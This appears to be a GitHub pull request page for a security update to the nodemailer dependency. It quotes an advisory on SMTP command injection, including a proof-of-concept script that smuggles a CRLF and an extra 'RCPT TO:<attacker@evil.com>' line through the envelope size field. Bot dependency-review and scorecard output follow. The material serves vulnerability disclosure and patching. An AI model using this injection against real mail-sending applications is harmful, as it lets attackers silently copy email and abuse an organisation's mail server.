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chore(deps): update dependency nodemailer to v8.0.4 [security]#14

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renovate/npm-nodemailer-vulnerability
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chore(deps): update dependency nodemailer to v8.0.4 [security]#14
bertrandmbanwi wants to merge 2 commits intomainfrom
renovate/npm-nodemailer-vulnerability

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@bertrandmbanwi
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This PR contains the following updates:

Package Type Update Change
nodemailer (source) dependencies patch 8.0.18.0.4

  • If you want to rebase/retry this PR, check this box

GitHub Vulnerability Alerts

GHSA-c7w3-x93f-qmm8

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

@bertrandmbanwi bertrandmbanwi force-pushed the renovate/npm-nodemailer-vulnerability branch from 6f41691 to 77fec06 Compare March 30, 2026 11:55
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github-actions Bot commented Mar 30, 2026

⚠️ Deprecation Warning: The deny-licenses option is deprecated for possible removal in the next major release. For more information, see issue 997.

Dependency Review

✅ No vulnerabilities or license issues or OpenSSF Scorecard issues found.

Snapshot Warnings

⚠️: No snapshots were found for the head SHA 77fec06.
Ensure that dependencies are being submitted on PR branches and consider enabling retry-on-snapshot-warnings. See the documentation for more information and troubleshooting advice.

OpenSSF Scorecard

PackageVersionScoreDetails
npm/nodemailer 8.0.4 🟢 4.8
Details
CheckScoreReason
Code-Review⚠️ 0Found 1/23 approved changesets -- score normalized to 0
Maintained🟢 1029 commit(s) and 7 issue activity found in the last 90 days -- score normalized to 10
Dangerous-Workflow🟢 10no dangerous workflow patterns detected
Token-Permissions⚠️ 0detected GitHub workflow tokens with excessive permissions
Binary-Artifacts🟢 10no binaries found in the repo
CII-Best-Practices⚠️ 0no effort to earn an OpenSSF best practices badge detected
Pinned-Dependencies⚠️ 2dependency not pinned by hash detected -- score normalized to 2
Security-Policy⚠️ 0security policy file not detected
License🟢 9license file detected
Fuzzing⚠️ 0project is not fuzzed
Branch-Protection⚠️ -1internal error: error during branchesHandler.setup: internal error: some github tokens can't read classic branch protection rules: https://github.com/ossf/scorecard-action/blob/main/docs/authentication/fine-grained-auth-token.md
Signed-Releases⚠️ -1no releases found
Packaging🟢 10packaging workflow detected
SAST⚠️ 0SAST tool is not run on all commits -- score normalized to 0

Scanned Files

  • package-lock.json

@bertrandmbanwi
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Edited/Blocked Notification

Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.

You can manually request rebase by checking the rebase/retry box above.

⚠️ Warning: custom changes will be lost.

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